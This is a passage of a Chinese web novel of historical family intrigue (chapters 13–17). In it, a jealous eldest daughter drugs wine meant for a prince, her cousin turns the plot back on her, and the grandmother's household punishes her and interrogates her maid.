“霍小郎君,我只能做到这儿,有没有机会,我也不知道。”沈清瑶抬眸看着霍云昭:“霍家虽久居雁门关,可京城里也不是没人可用,我毕竟是沈家人,你说呢?” 霍云昭抬起手压了压额角:“我也助你一臂之力。” 沈清瑶颇有些意外。 霍云昭从身上拿出来一个小巧的香囊扔到沈清瑶面前:“里面是雁门关才有的红鸾引,预祝沈大小姐得偿所愿。” 说罢,霍云昭离开。 沈清瑶打开香囊,里面是两个瓷瓶,一个写着红鸾,一个写着解药。 这种东西她还是头一遭见到,哪里是高门大户人家女子能得到的玩意儿?倒是母亲曾提起过这种药,沈家的生意里就有药铺,药铺里的郎中都会调配类似的药物,通常给不能同房的人助兴用的,只不过这样的买卖都是大房背地里做,否则祖父那边交代不下去。 沈清欢说的没错,若论身份自己没机会,可若用点儿手段,效仿白向晚未必不能成事。 出门坐进马车回府。 刚回到府里就听说沈清樾请了司徒珩赴宴。 “他们倒是恨不得把全天下最好的都送到沈清欢面前!”沈清瑶暗暗磨牙,势必要搏一搏了。 “桃儿,把我珍藏的桃花酿取来。”沈清瑶说。 桃儿听命去取桃花酿,沈清瑶从架子上取下来鸳鸯壶,把红鸾引放到其中一侧,坐下来盘算该如何不动声色成全自己。 当然,一旦事成,自己极有可能危在旦夕,所以要得偿所愿还需要有人帮衬。 “长姐。”沈清婉从外面进来,笑眯眯的进门来:“祖母让我们都过去,说有事儿,母亲带着二姐先去了。” 沈清瑶看到三妹,计上心来,笑着招手:“听说长兄请客了?” “是啊,请了好几个人。”沈清婉撇嘴儿:“二姐说是想要让四妹挑夫婿呢,真真是偏心到咯吱窝了,我们三个是摆设不成?” 沈清瑶柔声:“可小声点儿,回头让人家笑话说咱们恨嫁。” “母亲也是这么说,不过祖母今儿把我们都叫过去,必定是要说说沈家女的婚事了。”沈清婉撇嘴儿:“看着好心,还不是等沈清欢挑剩下的才能轮到我们?” 沈清瑶低声:“那三妹不如带着沈清欢去兄长那边转一转,保不齐能看出点儿端倪来。” 沈清婉噗嗤笑了:“行啊,我倒要看看被捧上天的沈家嫡女,能有个什么眼光。” 这会儿,桃儿取酒回来,沈清婉啧啧两声:“大姐这宝贝都拿出来了?” “谈不上宝贝,待客倒也不落沈家面子,回头让桃儿送过去一坛酒,三妹和四妹的时候,算添头。”沈清瑶说。 沈清婉起身:“行,我去找四妹,你让桃儿跟着。” 沈清瑶笑眯眯的点头。 等沈清婉走后,沈清瑶叮嘱桃儿,鸳鸯壶的奇妙用法教了后,又叮嘱再三,绿色这一边的酒,只能给安王喝。 桃儿得了吩咐,托盘上端着鸳鸯壶,带了个促使的丫环提着酒坛往外去。 听风苑里,沈清欢被沈清婉拖出来。 “不合规矩,我们去作甚?”沈清欢挣脱开沈清婉的手:“回头会被训斥的。” 沈清婉看到不远处等着的桃儿,笑道:“送酒啊,咱们家的桃花酿,那可是市面上见不到的好东西,走走走,我也去长长见识,兄长请来的都是一顶一的好郎君呢。” 沈清欢看着桃儿,再看沈清婉,心里了然。 这正是送上门的好机会,本来还想着怎么把沈清瑶处理掉呢。 姐妹二人往沈清樾的尚贤阁来。 尚贤阁里,沈清樾摆下筵席,席间主宾司徒珩,陪座的也都是沈清樾交好的世家子,众人聚到一起,具备畅饮。 “大公子,三小姐和四小姐过来送酒了。”亲随低声禀告。 坐在沈清樾旁边的司徒珩微微挑眉,看向门口,果然见到沈清欢立在门外的侧影,扫了眼在座的几位,心里纳闷,沈家就这么着急吗?饥不择食了? 第13章 放肆!你敢忤逆长辈! 就连林墨洲之流都在邀请之列,这些人怎么能入得了沈太傅的眼? 沈清樾没想到妹妹会来凑这个热闹,看到沈清婉的时候就什么都明白了,虽然心里责怪大伯那边没教好女儿们规矩,可当着这么多人的面,自是不能驳了妹妹的面子。 显然这些人的关注点都在沈清欢身上,谁都知道沈清欢今儿可威风的厉害,羞辱霍云昭那是一点儿没留情面,虽说听到的时候直摇头,可见到本尊,颇有些美人儿说话都是对的感悟。 “兄长,三姐说家里的桃花酿外面少见,送过来给诸位公子助助兴。”沈清欢一开口,这些世家子又觉得霍云昭那等莽夫,欺负了人家说话都如此好听的姑娘,骂的还是轻了,到底是沈太傅家教好,不然早就用扫把打出去了。 沈清樾笑着介绍:“桃花酿是伯父专门从江南采摘的桃花,用上等糯米酿造而成,诸位兄台可尝一尝。” 说着,桃儿上前斟酒。 沈清欢扫了一眼酒壶,嘴角一抹似有若无的浅笑,心里却恨不得给沈清瑶几个耳光,虽不是嫡女,可身为沈家长女,丝毫没有顾及沈家的面子,如此丧德败行的事换做别人还真做不出来。 桃儿斟满酒退后,众人推杯换盏,林墨洲腆着脸笑嘻嘻的询问:“四小姐可否共饮一杯。” 沈清欢微微颔首:“送酒是待客之道,共饮会跪祠堂,抄女戒的,各位慢用。” 这话说的所有人都缩了缩脖子,司徒珩的脸都黑了,因为杯中酒,因为林墨洲。 沈清欢转身离开的时候,发现沈清婉的目光也是望着司徒珩的方向,忍不住蹙眉,这都什么事儿?一个两个的,真不知道羞耻二字怎么写? 离开尚贤阁,沈清欢不搭理沈清婉,径自往祖母的院子来。 沈清婉回头张望了两回,暗下决心要跟祖母提一提,一家女还百家求呢,男人不也一样吗?沈清欢的婚事都挂在心上,她们姐妹三个可比沈清欢大呢。 来到福寿堂,祖母居中而坐,大伯娘下手位置坐着沈清瑶和沈清韵,母亲坐在祖母左侧。 沈清欢和沈清婉给祖母请安后,各自坐在母亲身边。 沈清瑶看了沈清婉一眼,沈清婉微微点头,那意思是办成了。 这一幕落在沈清欢的眼中,除了厌烦还有不齿,当然了,姐妹三人中,她倒是多看了几眼沈清韵。 沈清韵在大房不受待见,因其性子十分内敛,像是锯掉嘴儿的葫芦似的,少能听到她说话。 但沈清欢心里清楚,二房三女中,沈清韵是极有心机城府的人,只不过大房错把珍珠当鱼目罢了。 沈老夫人看着面前这四个孙女,特别是看沈清瑶的时候,有些头疼。 “咱们沈家在京中算不得大户人家,景川和景谦一共就这四个宝贝疙瘩,清越那孩子的婚事总是一拖再拖,寻不到个合适的,清舟还小不着急,眼下也就几个姑娘的婚事得商量商量了。”沈老夫人开口。 大房邹氏听到这话,说道:“原本倒也不着急,可今儿这事儿一闹腾,只怕沈家难办事的名声就传扬开了,到底是需要给孩子们筹谋一番,人嘴两张皮,别风言风语再耽误了好亲事。” 沈清欢刚微微一欠身,母亲便不落痕迹的伸出手压在了她的腿上。 “大嫂说的在理儿,总有长舌妇嚼舌根,少有明辨是非的人,看热闹的总不嫌事大,对错别人怎么说谁也管不住。”王氏带着浅浅的笑:“母亲早两年就准备好了名册,每年也都会不定时的给清瑶姐妹几个看看,原本是不急,如今还是定下来踏实。” 沈老夫人点头:“是这么个理儿,女大不中留。” 沈清欢低了头看母亲涂着豆蔻的手,祖母这是被沈清瑶气到了,书房发现密信的事自己可没提沈清瑶,单就一个看上了司徒珩,祖母都受不住呢。 沈清瑶抿了抿嘴角没敢吭声,背地里找祖母她敢,但当着二房家主母的面,她可不敢造次。 “本来也是长幼有序。”沈清婉倒是嘴快:“霍家闹腾这些,看着就招人膈应,难不成沈家只有四妹一个吗?” “你可别顺嘴胡说了。”沈清韵瞪了沈清婉一眼,柔声:“祖母,婚事您做主是最好不过的,人品家世只要相当,总归没错。” 沈老夫人点头:“清韵也快十七了,这些年公中都在陆续给姑娘们准备嫁妆,婚事若定下来,倒也不至于手忙脚乱,我这里有册子,你们姐妹几个都看看。” 孙嬷嬷把册子捧过来,先给了大房的邹氏。 邹氏接过来看得仔细,看到上面都是世家子,年貌也相当,知道婆母是一碗水端平了,确实要为自己的女儿们谋个好亲事,心里舒坦了不少,转手递给了沈清瑶。 沈清瑶做模做样的翻看,到最后也没看到司徒珩,忍不住心里琢磨祖母是什么意思,毕竟给人都叫到这里,是冲着自己来的。 看过之后递给沈清韵,沈清韵直接转手给了沈清婉,没看。 沈清婉看过之后抬头看沈清欢:“四妹看过了吧?” “嗯,看过了。”沈清欢点头。 沈清婉直接递给了孙嬷嬷。 孙嬷嬷过来把册子放在王氏手边。 王氏也没动册子。 沈老夫人看着邹氏:“你们娘几个可有看着差不多的?” “都是好样的,就是不知道他们在不在意清瑶几个不是嫡出。”邹氏说的倒是坦荡。 沈老夫人点头:“按照京城里的规矩,庶出只要人品端正,不做掌家夫人,倒也没人计较,再者沈家在京城这么多年,家风清正,世人皆知。” 沈清瑶抬头看祖母,这话是敲打自己吗? 沈老夫人刚好看着沈清瑶,淡淡的说:“清瑶跟我说有了心仪之人,在我看来是万万不可的。” “祖母,您就这么偏心吗?”沈清瑶沉不住气:“您都没入宫去求太后,怎么就万万不可了呢?” 邹氏回头,厉声:“放肆!你敢忤逆长辈!” “母亲,我心仪之人……” “长姐,你规矩都没学好,还提什么心仪之人。”沈清韵起身走到沈老夫人跟前跪下:“祖母勿怪长姐忤逆,她素来性子直,若是想清楚其中关窍,也就通透了。” 沈清瑶气得脸色涨红,起身:“我看你们就是冲着我来的,罢了,我走就是!” 说罢,谁也不管,直接走了。 沈清欢看沈清瑶的背影,知道那桃花酿的药效怕是发作了。 既然作死,自己就送她一程。 邹氏也给沈老夫人跪下认错。 沈老夫人摆手:“你们这些姑娘们退下,老大媳妇和老二媳妇留着说话。” 沈清欢起身给祖母行礼退下,一路往听风苑去,这事儿有点儿急,得找个稳妥的人才行。 听风苑,沈清欢叫来了郑嬷嬷:“嬷嬷,我记得咱们家马厩那边有个养马的家奴,年纪不大吧?” “小姐,您要做什么?”郑嬷嬷疑惑的看着沈清欢。 沈清欢压低声音,如此这般吩咐,郑嬷嬷的脸色一阵青一阵白。 “嬷嬷,事关沈家名声,虽然是保不住了,可也不能惹大祸,您说呢?”沈清欢拉着郑嬷嬷的手。 郑嬷嬷咬了咬牙:“小姐,这事儿老奴去做,若查起来,老奴一个人顶着就是。” 说罢,郑嬷嬷急匆匆出去了…… 第14章 司徒珩,你选哪条路? 沈清欢坐下来,静等。 司徒珩怎么样自己不关心,但沈清瑶这次必须要彻底压住,免得以后蹦跶的厉害,自私自利的人,哪里会管家里人的死活? 但凡被人发现其可利用,后果不堪设想。 郑嬷嬷一盏茶的工夫回来的:“小姐,事成了。” “好。”沈清欢问:“在哪里?” “东客院,大公子他们还在喝酒,老奴让马夫过去的时候,安王已经进了院子休息了。”郑嬷嬷说。 沈清欢微微挑眉:“那马夫可提了要求?” “让小姐事成之后还一个良籍。”郑嬷嬷说。 这对沈清欢来说一点儿不难。 眼下是怎么让司徒珩避开。 “那马夫是个机灵的。”郑嬷嬷低声:“老奴都安排好了,不过小姐啊,这件事若闹腾起来,必定惊动尚贤阁里的客人,这大小姐就算是不死也得扒层皮。” 沈清欢沉声:“死不了。” 确实死不了,大房会打死马夫,保沈清瑶,但沈清瑶根本就不该留,所以自己恨不得把事情闹的人尽皆知。 郑嬷嬷陪着沈清欢,疏影和红缨去后花园采一些鲜花回来。 凉亭里,沈清欢取了花瓶,慢条斯理的插花。 郑嬷嬷看小姐这般淡定的模样,心里踏实不少,她相信假以时日,小姐必定会成为京城少见的大妇,即便没有自己在身边,小姐也会独当一面的。 沈清欢并不知道郑嬷嬷已经做好了被打死的准备,这会儿只等尚贤阁那边传出来消息。 以沈清瑶的脑子,想不出来什么更好的法子,但孤注一掷的能耐是有的。 “四小姐可在?”时安过来问。 沈清欢知道是兄长得了消息,看来那边闹出动静来了。 “小姐在啊,怎么了?”红缨看时安面色焦急,问。 时安松了口气:“没事,大公子叮嘱不准四小姐露面。” 沈清欢把最后一枝花插到花瓶里,起身去旁边净手:“回去告诉大公子,我院子里的人都不出去。” “是。”时安回去送信儿。 郑嬷嬷有些担忧。 “嬷嬷,你们拾掇拾掇院子,我乏了。”沈清欢走出凉亭往内寝去。 郑嬷嬷带着疏影和红缨守在外面,拾掇院子是假,严防死守不准任何人来闹腾才是真,沈家的脸是要丢了,可嫡女的名节不能有染。 沈清欢回到内寝,撩起薄纱幔帐,还没等反应过来人就被一股大力拉到了床上,嘴巴被捂了个严实,呼救都不能。 “是我。”司徒珩的语调不对,极力压制下,声音都打颤儿。 沈清欢脑瓜子嗡一声,背对着司徒珩根本看不到人,嘴被捂着也说不出话来,她虽料定司徒珩不会中计,可怎么也没想到他不退走,反而跑到自己的房里来了。 司徒珩抬手放下幔帐,把沈清欢翻转过来,两个人面对面的时候,他双目赤红:“你疯了吗?为何如此对我?” “不是我。”沈清欢压低声音:“你不走,留在这里作甚?” “作甚?”司徒珩冷嗤一声:“你送酒,我中得是雁门关那边才有的红鸾引,你问我作甚?我要让你给我解毒!” 沈清欢抬手拔下来簪子,对准自己的脖子:“司徒珩,你若敢,我就死在这里,我死在自己的床上,你安王在我屋子里,这件事最多两败俱伤,你休想全身而退。” 司徒珩举起双手后退,心口一阵阵痛意袭来,比身体的难受更招架不住,就那么看着沈清欢握着簪子的手,这簪子他认得,是沈清樾求自己手底下的人打造的。 簪子里有十二根淬了剧毒的毒针,他不知道沈清樾是否告诉她,若是没告诉,误打误撞碰到机关怎么办?若是告诉了,自己逼得紧了,她真敢赴死。 “放下,听话,我相信你。”司徒珩语带央求。 沈清欢冷着脸:“你能悄无声息进来,就能悄无声息的走,但凡惹出来一点点儿动静,我都和你同归于尽!” “听我说,我走不了。”司徒珩吞了口水润一润有干裂感的嗓子:“下毒的人手里有解药。” 沈清欢磨牙:“我为什么要帮你!” “为了沈家,沈清瑶其心可诛,她私下里跟皇上有过往来,我亲眼所见。”司徒珩说:“沈清欢,你要相信我,我不是忘恩负义之人,沈太傅的救命之恩铭记在心。” 沈清欢不信他。 但也不能就这么僵持下去。 放下簪子,冷冷的盯着司徒珩:“我可以救你,但成不成看你的命!” “好。”司徒珩看着那簪子被沈清欢插在发髻上,松了口气。 沈清欢撩起床幔下床,走出两步停下来,转过身:“我三叔可能救你?” “能。”司徒珩已经快控制不住自己的理智了,低声:“你快走!不准再露面。” 沈清欢才不愿意多留一刻,整理了身上的衣裙出门。 “小姐。”郑嬷嬷赶紧迎过来。 “嬷嬷陪着我出去一趟。”沈清欢说。 郑嬷嬷拉住沈清欢的衣袖:“小姐,外面闹腾开了,不能去。” “去找三叔。”沈清欢压低声音:“必须得去。” 郑嬷嬷一咬牙:“好,老奴陪着小姐。” 沈清欢刚走出听风苑,远远地见到祖母、大伯母和母亲急匆匆往客院去,磨了磨牙,她这次不能亲眼看着沈清瑶被整治,略有些遗憾。 三叔住在西边的梅园里,一路急行来到梅园外。 守门的小厮上前:“四小姐。” “我寻三叔有要紧事,进去通禀。”沈清欢说。 小厮不敢耽搁,刚打开门就见主子在门里:“三爷。” “守着门。”沈景行看着沈清欢,微微点头。 进门,郑嬷嬷在门口,沈景行前面走,沈清欢跟在后面。 “三叔,司徒珩在我房里。”沈清欢一点儿没有隐瞒的意思。 沈景行刚好去架子上取针囊,听到这话问:“阿灼和他很熟吗?” “不熟,但这个人似乎盯上沈家了,所以也盯上了我,太后曾出门跟祖母提过。”沈清欢说。 沈景行转过头看沈清欢,见她染了怒意的小脸,点了点头:“如此无妨,三叔去你那边坐一坐。” 两个人出门,沈景行让小厮守门,不见任何人。 三人来到听风苑,沈景行叮嘱:“你在院子里赏花。” “是。”沈清欢知道三叔醉心医道,更知道三叔在江湖上有一定的份量,至于到底三叔都做了什么,不知细情,按照上一世推算,三叔应该还没有能力挽狂澜。 沈景行进门,听到司徒珩痛苦的声音,走过去撩起帘子打量着司徒珩。 “三叔,救我。”司徒珩抬起手。 沈景行打开针囊:“司徒珩,若你对阿灼存了歹心,我拆了你的子孙堂,若你能当个人,再说救你。” “我对四小姐绝无恶意。”司徒珩说。 “如何信你?”沈景行冷声。 司徒珩深吸一口气:“沈清瑶手里有一封西凉国师密信,当今要把沈家连根拔起,这够不够?” 银针入穴,沈景行审视着司徒珩,勾起唇角:“司徒珩,你选哪一条路?” 第15章 三叔,你是咱们家的英雄 司徒珩知道沈景行绝对表面上那么简单,刚下一根银针,自己至少能控制住脑子里那些乱七八糟的画面。 “合作。” “好。”沈景行褪下司徒珩的外袍,隔着中衣下针分毫不差,速度极快。 司徒珩趴在床上,调动内力护着心脉。 沈景行最后一针落下:“你防备我作甚?” “三叔,我活到今天,若不时时刻刻的谨小慎微,能行吗?”司徒珩轻叹:“沈家艰难,我何尝不是?” 沈景行拿起帕子擦手:“少攀亲,安王殿下别折煞了草民。” “我跟清樾论兄弟,叫一声三叔不算攀亲。”司徒珩缓缓地试探自己的身体,确实没了蚀骨的欲望了,深吸一口气:“沈清瑶是沈家长女,极有可能和霍家也有勾结,红鸾引唯有雁门关才有。” 沈景行沉声:“沈家的家事,不需安王插手。” “好。”司徒珩答应的爽快。 沈景行起身往外走,出门就见沈清欢坐在凉亭里,走过去。 “三叔。”沈清欢起身行礼。 沈景行坐下:“坐下吧,今日的事,可有阿灼的手笔?” “顺水推舟。”沈清欢没打算瞒着三叔,把送桃花酿,鸳鸯壶的事说了。 沈景行缓缓点头:“心比天高,奈何人头猪脑。” “三叔。”沈清欢从沈景行的眼里看到了翻涌的杀意。 沈景行瞬间收敛了情绪,抬眸:“那封密信,是不是司徒珩对你说的?” 沈清欢福至心灵,立刻点头:“但祖父说了,家贼要养一养。” “不需要养,只不过还不能摆在明面上罢了,走,咱们去看看热闹。”沈景行起身。 沈清欢跟上来:“三叔,我露面能行吗?” “有何不行?你以为司徒珩是坐以待毙之人?如今她在你房里,你不跟在我身边,浑身是嘴也说不清。”沈景行不急不缓的往客院的方向去:“阿灼,到任何时候都不准做杀敌一千,自损八百的事。” 沈清欢抬眸看着三叔,阳光撒在他清瘦的身上,月白色长袍像反光似的,在光晕里行走的人,是那么让人安心。 走出去几步的沈景行回头:“阿灼?” 沈清欢快步追上来,露出笑意:“三叔,你是咱们家的英雄。” “傻丫头,不准胡说。”沈景行勾起唇角,染了三分笑意的他,清冷的容色也有了暖意。 客院遥遥在望,沈景行问:“阿灼,若让你做主,如何处置沈清瑶?” “嫁给和她在一个屋子里的人。”沈清欢说:“撵到庄子里去,若还不老实,哪家后宅没有暴毙的人呢?” 沈景行抬起手拍了拍沈清欢的肩膀:“好!沈家就该有一个杀伐果断的人。” 待二人到客院门外的时候,沈景行依旧是清冷的模样,守门的婆子为难的过来行礼:“三爷,老夫人吩咐任何人都不能入内。” “我不来,难道还要闹出人命吗?”沈景行蹙眉:“闪开。” 婆子不敢阻拦,沈景行带着沈清欢走进客院里。 房门外还有婆子守着,孙嬷嬷看到沈景行和沈清欢都来了,迎过来:“三爷,四小姐。” “嬷嬷,受累了。”沈景行微微颔首,往房这边看一眼:“沈清瑶如今可还成人样儿?” 孙嬷嬷叹了口气,不言而喻。 沈清欢听到沈清瑶近乎凄厉的叫声传来,吓得一哆嗦。 沈景行抬起手搭在沈清欢的肩上:“莫怕,进去救人。” “嗯。”沈清欢终于明白三叔说的话了,司徒珩确实不是坐以待毙的人,他只会用更恨的手段报复回去。 果然,当沈清欢看到被五花大绑捆着还如蛆虫一般翻滚的沈清瑶,心里竟涌出解恨的爽利感觉。 “冷水!”沈老夫人一拍桌子。 旁边的粗使婆子又是一桶冷水兜头盖脸的淋在沈清瑶的身上,沈清瑶再次惨叫出声。 邹氏跪在沈老夫人面前,磕头犹如鸡啄米:“母亲,母亲啊,这样下去清瑶会死了的啊,她可是您的孙女,留他一命吧。” 沈老夫人强忍着没一脚踹到邹氏的脸上,冷声:“都是你教导出来的好女儿!如今还有脸求情?” 林氏容色沉沉,抬头看着所在墙角,衣服都被撕得破烂不堪的马夫。 沈景行坐在椅子上,沈清欢站在沈景行身后。 “想问什么,问。”沈景行出声。 沈老夫人这才看到三儿子带着阿灼进来了,挑眉:“老三,这污糟的事,带阿灼来做什么?” “母亲,阿灼不来,就更说不清了。”沈景行起身给沈老夫人行礼:“母亲息怒,先听阿灼问完再说。” 沈老夫人看着自己的孙女,抬起手压住快要被气炸了的心口。 沈清欢上前一步,踩着地上的水渍:“沈清瑶,你为何让沈清婉带着我去给兄长送桃花酿?为何用鸳鸯壶?为何在鸳鸯壶里下了只有雁门关才有的红鸾引!” 沈清瑶被捆的结实,几桶冰水淋的她头脑清醒了不少,撑着抬起头看沈清欢:“是你害我!沈清欢!你太歹毒了!因为我喜欢司徒珩,你就想要害死我!” 沈清欢垂眸看着她:“还不承认是吗?” “不承认无妨,她的毒若不解,没活路。”沈景行淡淡的说。 邹氏猛地站起身:“你们就这么偏心吗?” “偏心?大伯母慎言,到最后你收不了场!”沈清欢扬声:“孙嬷嬷,把桃儿带上来,沈清婉也别放过。” 邹氏跺脚:“你们这是想要趁着夫君不在,把我们娘几个往死里逼啊。” 沈景行冷笑:“大嫂,若不是阿灼有足够的证据,我会坐在这里吗?若你觉得我分量不够,大哥不在,父亲和二哥可都在府上呢。” 邹氏立刻闭嘴了,公爹不露面,女儿还有活路,可若公爹露面了,女儿只能得三尺白绫。 沈景行看沈清欢。 沈清欢微微点头:“你难道不该奇怪吗?为何你处心积虑给司徒珩下毒,自己反而成了这副模样吗?” 沈清瑶脸色越来越红,失控的她嘶吼:“母亲,找个男人给我解毒,给我解毒啊。” 沈老夫人听到这话眼前发黑,抓起茶盏照着邹氏的脑门就是一下子。 邹氏扑通就跪下了:“母亲,母亲快拿个主意。” “拿什么主意?”沈老夫人厉声:“沈清瑶!阿灼说的是不是事实?” 沈清瑶咬紧牙关:“她害我!都是她害我!” 沈清婉和桃儿被带上来,沈老夫人冷声:“用刑!” 桃儿跪在地上浑身颤抖,孙嬷嬷手里拿着平日里给女子开脸用的红绳,嘴里咬着绳结,粗使婆子扯着桃儿的头发,迫使她抬起脸,当孙嬷嬷靠近的时候,桃儿目眦欲裂。 绞第一下的时候,桃儿脸上血珠子从皮肉里冒出来,桃儿惨叫着捂着脸,那血顺着只恨往下滚落。 沈清婉吓傻了,跌坐在地上,两眼无神的看着孙嬷嬷,嘴唇颤抖:“不是我,不是我,不怪我。” 第16章 这世上有不透风的墙吗 桃儿的两只手被控制住,孙嬷嬷再次靠近的时候,桃儿拼命的挣扎:“奴婢只是个奴才啊,奴才就得听话啊,嬷嬷。” 孙嬷嬷停下动作:“你的主子可不单单是大小姐。” 桃儿头一次见到孙嬷嬷竟有这样的手段,早就吓得魂飞魄散了,嘴唇颤抖着:“奴婢不能死,奴婢还有奶奶活着,还要抚养幼弟长大啊。” “背主就得死!”沈清瑶这话说的让人脊背发寒,恶狠狠的模样所有人都看着呢。 桃儿磕头在地:“老夫人,别发买了奴婢,奴婢全都说。” “到了这个时候,你还有资格谈条件?”沈老夫人冷声:“助纣为虐,你个恶奴!” 桃儿摇头,抬眸被邹氏如狼一般的盯了一眼,几乎趴在地上说:“是奴婢做的,都是奴婢做的。” 沈清欢倒是佩服邹氏了,女儿都没管教好,但御下挺有本事。 沈老夫人沉声:“拉出去杖毙!” “祖母。”沈清瑶声嘶力竭:“凭什么沈清欢说什么你们都信,没人相信我呢?连我的丫环都要受这样的酷刑,屈打成招吗?” 沈老夫人皱眉:“你的意思是阿灼害你,对吗?” “就是她害我,你们都要撮合司徒珩跟她成一对儿,我的存在就是最大的障碍,你们心知肚明,你们都恨不得我死。”沈清瑶瞪大眼睛:“我错了吗?我想要嫁给司徒珩就该死吗?” “司徒珩就在我房里。”沈清欢看着沈清瑶。 沈清瑶猛地看向沈清欢:“为什么在你房里?你们!你们到底做了什么?” “你觉得我们能做什么?”沈清欢看着沈清瑶。 沈清瑶突然笑了,笑的肆无忌惮,解恨的扫视所有人:“现在好了!沈家嫡女和男人野合!哈哈哈,你们却要让我背锅,对不对?” “你怎么知道我们在一起了呢?”沈清欢问。 沈清瑶挑眉:“因为司徒珩中了……” “长姐!”沈清韵急匆匆赶来,上去一把捂住了沈清瑶的嘴,转过头看着沈老夫人:“祖母,大姐错了,她如今这副模样不配再做沈家的女儿,我送她去庵堂剃度,余生青灯古佛,为沈家祈福消罪。” 沈清瑶拼命的摇着头,张嘴咬住了沈清韵的掌心,血腥味在嘴里弥漫开,她竟拼命吸了起来。 沈清韵疼得浑身一抖,眼泪滚落:“祖母,开恩。” 沈老夫人转过头看林氏。 “全凭母亲做主。”林氏不想管,她们害女儿这笔账,还没算呢? 沈老夫人看沈景行。 沈景行起身行礼:“母亲,若非司徒珩仓皇逃到阿灼房里,阿灼就不会吓得跑去找我,我给司徒珩解毒发现是红鸾引,司徒珩说了桃花酿和鸳鸯壶,一口咬定是阿灼害他,他是天家人,不给一个交代只怕不妥当。” 沈老夫人都要被气吐血了。 沈清韵转过头看着三叔,她没说话,三叔这是不打算放过大房,而不是不放过沈清瑶了。 果然,沈景行顿了一下说:“司徒珩给沈清瑶下的毒比红鸾引更烈,也没有解药,他为了不闹出人命抓来了马夫,只是想要给沈家一个教训。” “没解药,清瑶难道活不成了?”沈老夫人不忍心自己看着长大的孩子就这么折损了。 沈景行叹了口气:“嫁给马夫,去庄子上过日子,除族给一些银钱,安稳度日去吧。” 沈清韵心头这口气松懈下来,三叔并不曾提大房,如此就好。 沈老夫人垂眸,良久起身往外走。 在门口伸出手拉着沈清欢:“可着了道?” “没有,司徒珩还算君子。”沈清欢柔声。 沈老夫人点了点头:“按老三的意思办,你们都回去各自的院子。” “老夫人,奴才不愿意。”马夫哭得吓人,跪着爬过来:“奴才宁可死。” 沈清欢停下脚步:“还你良籍,给你一个庄子,你要好好待承她,虽然不再是沈家女,可到底是沈家血脉,如此可行?” 马夫哭着磕头:“奴才,奴才知道了。” 沈清欢知道这个马夫是聪明人,那就好说。 众人出门去,孙嬷嬷落了锁,带着两个粗使婆子在外面守着。 沈清欢陪着沈老夫人往回走。 沈老夫人问:“老三,安王如今怎么样了?” “应该还动弹不得,不过人是清醒的。”沈景行说。 沈老夫人停下脚步,握紧沈清欢的手:“走吧,去听风苑。” 听风苑里。 司徒珩躺在床上,确实动弹不得,不是他不想走,而是被沈景行治住了,至于用了什么手段,他都摸不出头绪,沈家最厉害的竟是他。 沈老夫人带着沈清欢、沈景行和林氏进门,沈景行放下幔帐。 “安王,臣妇给您磕头赔罪了。”沈老夫人说着就要跪下。 司徒珩急切出声:“您老万万不可,母后若知道会打死我的。” 沈老夫人叹了口气:“家门不幸,让安王受苦了,臣妇得入宫去跟太后赔罪。” “不必,此事传不出去。”司徒珩顿了一下:“沈家大房那边嘴要严一些。” 沈老夫人垂首:“是,臣妇必定交代清楚,请问安王如今可有哪里不妥当?” “本王动弹不得,让清越带我去他的院子,对外就宣称宿醉。”司徒珩说。 沈老夫人再次垂首:“安王的恩情,臣妇和沈家铭记在心。” 沈清樾过来带走司徒珩。 司徒珩全程闭着眼睛,谁也不看。 沈景行一起过去。 尚贤阁的客房里,司徒珩看着沈景行:“三叔,放了我吧。” 沈景行拱手一礼:“得罪安王了。” 取出来银针,三针下去,司徒珩感觉自己总算活过来了,坐起来活动筋骨确实无碍,起身给沈景行行礼:“今日搭救之恩,记下了。” “我们之间算不得恩情。”沈景行做了一个请的手势。 两个人落座,沈清樾脸色铁青,一言不发。 “安王不会觉得这世上有不透风的墙吧?”沈景行问。 司徒珩苦笑,答案不言而喻。 沈景行说:“寻个合适的机会,上门求娶阿灼。” “三叔!”沈清樾蹭就站起来了。 司徒珩有些意外的看着沈清樾,这小子还不愿意了? 沈景行看了眼沈清樾:“别急,听我说完。” 沈清樾只能坐下来。 沈景行说:“沈家入了帝王局,把阿灼托付给你,但你不准动阿灼一根寒毛,他日沈家脱困,你有本事让阿灼跟你做夫妻,沈家成全,若阿灼要归家,你不能难为,如何?” 第17章 这个家让你来当? 司徒珩起身抱拳躬身到底:“请三叔放心,司徒珩绝不趁人之危,更不是小人。” “好。”沈景行满意的扶了司徒珩一把,请他坐下。 司徒珩清了清嗓子:“不过,四小姐甚是讨厌我,这件事三叔可提前跟她说明,不然只怕会伤她的心。” “阿灼伤心不至于,但会用点子手段,你受着点儿便是,若说明,对阿灼反而不好。”沈景行顿了一下:“你随时可以离府。” “是。”司徒珩知道自己必须要查一查沈景行了,沈家并非表面上那么愚忠,但到底走到哪一步还不太清楚,照目前来看,还不到火候。 沈景行离开不一会儿,司徒珩也告辞离开了,临走的时候看沈清樾要吃人的目光,只能叹了口气,若沈清樾也能有沈景行的城府,沈家破局希望会大一些,只可惜沈清樾还是太率直了。 听风苑里。 沈清欢听红缨面红耳赤又绘声绘色的说客院的事,忍不住轻笑出声。 “小姐,您可不能笑话奴婢。”红缨拧着帕子。 疏影端着热茶进来,扫了眼红缨:“不知羞,那种事情也去听?” “我是气不过,她们欺负咱们小姐了。”红缨嘟着嘴:“下次不敢了。” 沈清欢接过来热茶:“听也无妨,毕竟红缨比我还大一岁,你们两个都到了可以议亲的年纪了。” 疏影和红缨赶紧跪下。 “小姐,奴婢知错了,别不要奴婢。”红缨都要哭了。 疏影垂首:“小姐,奴婢若不能伺候您了,就绞了头发去做姑子,不为人妻,不为人母,这是奴婢最大的愿望。” “好啦,瞅瞅你们俩这是做什么?”沈清欢让二人起来:“咱们虽明面上是主仆,可大小就咱们仨在一起,情同姐妹,为你们二人谋划长远是应该的,至于这亲事可不能随便了,遇到良人才行。” 红缨和疏影起身,沈清欢说:“天儿热起来了,跟嬷嬷去小库房取一些衣料,你们也该添置几套新衣服了。” “奴婢的衣服可多了。”红缨说。 疏影也摇头:“小姐,满院子,就数我们两个穿的最好,用的也好,可不能让别人背后说是非。” 沈清欢沉了脸色:“回头你们家小姐出去赴宴,你们还穿着去年甚至几年前的旧衣裙,不丢人?” 疏影和红缨互望一眼,她们是真的没想到这一层,小姐及笄后要出门走动,可不能给小姐丢人。 陈嬷嬷取来了料子,也不用绣娘,三个人针线活都好得很,量体裁衣忙碌着,沈清欢看着都觉得开心。 